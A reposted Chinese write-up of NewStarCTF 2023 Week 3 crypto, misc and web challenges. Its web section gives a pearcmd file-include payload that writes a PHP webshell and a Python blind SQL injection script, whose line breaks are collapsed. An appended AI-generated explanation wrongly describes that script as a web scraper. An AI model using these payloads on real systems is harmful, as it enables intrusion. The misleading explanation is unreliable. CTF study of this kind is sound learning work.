NewStarCTF 2023 公开赛道 Week3

2023-11-05 22:20

本文主要是介绍NewStarCTF 2023 公开赛道 Week3,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

官方WP

https://shimo.im/docs/QPMRxzGktzsZnzhz/read
NewStarCTF 2023 Week3 官方WriteUp.html

Crypto

Rabin’s RSA

参考博客:RSA攻击之Rabin密码体制_rsa rabin-CSDN博客
image.png
使用轩禹一把梭了
image.png

Misc

阳光开朗大男孩

image.png
image.png
社会主义核心价值观https://ctf.bugku.com/tool/cvecode解码得到keythis_password_is_s000_h4rd_p4sssw0rdddd注意后面三段才是key,前面的this_password_is_不是key,我搞错了,导致一晚上没解出来,这咋还是道英文题🤡
image.png
然后emoji-aes解密https://aghorler.github.io/emoji-aes/
image.png
image.png
flag{3m0ji_1s_s0000_1nt3rest1ng_0861aada1050}

大怨种

image.png
image.png
分离GIF后获得一个汉信码https://tuzim.net/hxdecode/,解码即可获得flag
image.png
image.png
flag{1_d0nt_k0nw_h0w_to_sc4n_th1s_c0d3_acef808a868e}

2-分析

image.png
用wireShark打开之后,过滤Http,一个一个看,前50个就可以看到
用户名,漏洞页面,webshell文件,然后转md5,就是flag
best_admin_index.php_wh1t3g0d.php —> 4069afd7089f7363198d899385ad688b
image.png
image.png
image.png

键盘侠

image.png
image.png
USB流量的键盘流量
使用B神脚本直接梭哈
USB.zip
245447ee3999d066e61f9ccf2471f53.png
把中间的什么upArrow去掉就是flag了

滴滴滴

image.png
DTMF拨号音识别,然后再steghide解密kali中steghide命令工具教程;7z命令详解;kali中base64命令详解-CSDN博客
2a90f6fe3d4a2eadf0b7a88c89892b2.png
05ff7c48c065dc6707533da4678338d.png
58631d08be01a69f6fc2d83acc52861.png
image.png
image.png
flag{1nf0rm4t10n_s3cur1ty_1s_a_g00d_j0b_94e0308b}

Web

Include 🍐

题目代码:

<?phperror_reporting(0);if(isset($_GET['file'])) {$file = $_GET['file'];if(preg_match('/flag|log|session|filter|input|data/i', $file)) {die('hacker!');}include($file.".php");# Something in phpinfo.php!}else {highlight_file(__FILE__);}
?>

关键代码段:
过滤了常用的文件包含协议
image.png
但是我们还可以用file协议查看

?file=file:///var/www/html/phpinfo

image.png
搜索flag,获得假flag,他让我们Check_register_argc_argv
image.png
这个配置项的配置是ON打开状态
image.png
参考资料:

  1. CTF中文件包含的几种不常规利用姿势总结 | 颖奇L’Amore
  2. https://cloud.tencent.com/developer/article/2204400?areaId=106001
  3. register_argc_argv与include to RCE的巧妙组合 - Longlone’s Blog

image.png
构造payload:
这里的小马用反引号执行命令

?file=/usr/local/lib/php/pearcmd&aaaa+config-create+/var/www/html/<?=`$_POST[1]`;?>+7.php

image.png
844415bd60a2e4a70d8ca048999ab6f.png

medium_sql

image.png
写脚本进sql盲注
注意:BUU防爬,把速度放慢一点

import requests
import timeurl = "http://519ed4dc-2cc9-4a03-af80-836a736ae0ca.node4.buuoj.cn:81//?id=TMP0919'AND "result = ''
i = 0while True:i = i + 1head = 32tail = 127while head < tail:mid = (head + tail) >> 1payload = f'Ascii(Substr((Select flag from here_is_flag),{i},1))>{mid}--+'r = requests.get(url + payload)if "points" in r.text:head = mid + 1else:tail = midif head != 32:result += chr(head)else:breakprint(result)time.sleep(1)  # 暂停1秒,降低爬取速度

1471c3a2089b20a209f7cd32708c5e8.png

flag{6fe7bf3b-a5cc-4099-b2e9-d698cde3b0ce}

这段代码是一个Python脚本,用于爬取一个网页并获取其中的数据。
首先,导入了requests库,该库用于发送HTTP请求并获取响应。
然后,定义了一个URL变量,用于存储要爬取的网页地址。
接下来,初始化了一个空字符串result和一个计数器i。
进入一个无限循环,在每次迭代中:

  1. 计数器i递增1,表示尝试获取下一个字符。
  2. 设置一个范围head和tail,分别代表可能的ASCII码值的范围(这里设置为32到126)。
  3. 使用二分查找算法在范围内找到中间值mid。
  4. 构造一个payload字符串,其中包含当前计数器的值和中间ASCII码值。
  5. 发送GET请求到目标URL,并将payload附加到URL后。将响应保存在变量r中。
  6. 检查响应文本中是否包含"points"关键字,如果存在,则将搜索范围缩小为[mid+1, tail];否则,将搜索范围缩小为[head, mid]。
  7. 如果找到了目标字符(即head不等于32),将其添加到结果字符串result中。
  8. 如果未找到目标字符,跳出无限循环。
  9. 打印结果字符串。
  10. 为了降低爬取速度,添加了暂停1秒的语句(time.sleep(1))。

总体来说,该脚本通过二分查找的方式不断调整ASCII码值范围,逐步获取目标网页中的字符,并将其打印出来。
(内容由讯飞星火AI生成)

这篇关于NewStarCTF 2023 公开赛道 Week3的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/352825

相关文章

CSP 2023 提高级第一轮 CSP-S 2023初试题 完善程序第二题解析 未完

一、题目阅读 (最大值之和)给定整数序列 a0,⋯,an−1,求该序列所有非空连续子序列的最大值之和。上述参数满足 1≤n≤105 和 1≤ai≤108。 一个序列的非空连续子序列可以用两个下标 ll 和 rr(其中0≤l≤r<n0≤l≤r<n)表示,对应的序列为 al,al+1,⋯,ar​。两个非空连续子序列不同,当且仅当下标不同。 例如,当原序列为 [1,2,1,2] 时,要计算子序列 [

HNU-2023电路与电子学-实验3

写在前面: 一、实验目的 1.了解简易模型机的内部结构和工作原理。 2.分析模型机的功能,设计 8 重 3-1 多路复用器。 3.分析模型机的功能,设计 8 重 2-1 多路复用器。 4.分析模型机的工作原理,设计模型机控制信号产生逻辑。 二、实验内容 1.用 VERILOG 语言设计模型机的 8 重 3-1 多路复用器; 2.用 VERILOG 语言设计模型机的 8 重 2-1 多

2023 CCPC(秦皇岛)现场(第二届环球杯.第 2 阶段:秦皇岛)部分题解

所有题目链接:Dashboard - The 2023 CCPC (Qinhuangdao) Onsite (The 2nd Universal Cup. Stage 9: Qinhuangdao) - Codeforces 中文题面: contest-37054-zh.pdf (codeforces.com) G. Path 链接: Problem - G - Codeforces

HNU-2023电路与电子学-实验1

写在前面: 这是电路与电子学课程的第一次实验,按照指导书的需求在Multisim软件搭建一个电路传感器模型,难度较小,细心完成就没有问题。 小tips:22级实验是采用上传到测试平台来进行功能检测,如果不通过则会打回修改后再重新提交,(我们那时候的评测系统特别特别慢,一次只能测一个同学,剩下同学就排队等着,久的时候甚至超过10个小时),这里列举一个常见的错误:热噪声有+号这端需要连接有源滤波器

【python】—— Python爬虫实战:爬取珠海市2011-2023年天气数据并保存为CSV文件

目录 目标 准备工作 爬取数据的开始时间和结束时间 爬取数据并解析 将数据转换为DataFrame并保存为CSV文件         本文将介绍如何使用Python编写一个简单的爬虫程序,以爬取珠海市2011年至2023年的天气数据,并将这些数据保存为CSV文件。我们将涉及到以下知识点: 使用requests库发送HTTP请求使用lxml库解析HTML文档使用dateti

Acrobat Pro DC 2023 for Mac/Win:全能型PDF编辑器深度解析

Adobe Acrobat Pro DC 2023作为一款跨平台的PDF编辑器,无论是对于Mac还是Windows用户,都提供了极为全面且强大的PDF处理功能。该软件凭借其卓越的性能和丰富的特性,成为了全球范围内用户处理PDF文档的首选工具。 一、强大的编辑功能 Acrobat Pro DC 2023内置了多种编辑工具,如文本编辑器、图片替换、页面调整等,使用户能够轻松地对PDF文档进行修改和

【行业报告】2023年消除类手游全球市场洞察

​更多消除内容: 长线消除游戏商业化设计案例:《梦幻花园》 - 游戏干饭之家 谈谈《开心消消乐》是如何做游戏商业化活动 - 游戏干饭之家 消除游戏展现了从简单的游戏玩法到复杂的社交互动,再到精细化运营的发展历程,其通过不断的创新和适应现代游戏的市场变化,依然活跃在市场的前沿 一、消除游戏分类定义 二、消除手游市场现状分析 消除手游近两年下载量增速表现优于整体手游表现,下

【数据分享】2000—2023年我国省市县三级逐月归一化植被指数(NDVI)数据(Shp/Excel格式)

之前我们分享过2000—2023年逐月归一化植被指数(NDVI)栅格数据(可查看之前的文章获悉详情),该数据来源于NASA定期发布的MOD13A3数据集!很多小伙伴拿到数据后反馈栅格数据不太方便使用,问我们能不能把数据处理为更方便使用的Shp和Excel格式的数据! 我们特地对数值在-0.2—1之间的NDVI栅格数据进行了处理,将2000-2023年逐月的归一化植被指数栅格分别按照我国省级行政边

Update Azure OpenAI npm Package to 2023-12-01-preview Version

题意:将 Azure OpenAI npm 包更新到 2023-12-01-preview 版本 问题背景: I am currently using the azure-openai npm package in my project with version 2023-03-15-preview. As per the latest updates, version 2023-12

[SWPUCTF 2023 秋季新生赛]Pingpingping

这种是ctf中比较简单的一类题,主要解法基本上也就那些形式。 这道题我给它提出来主要是涉及了一下比较零散的知识点,觉得想要跟大家分享一下。 <?phphighlight_file(__FILE__);error_reporting(0);$_ping = $_GET['Ping_ip.exe'];if(isset($_ping)){system("ping -c 3 ".$_ping)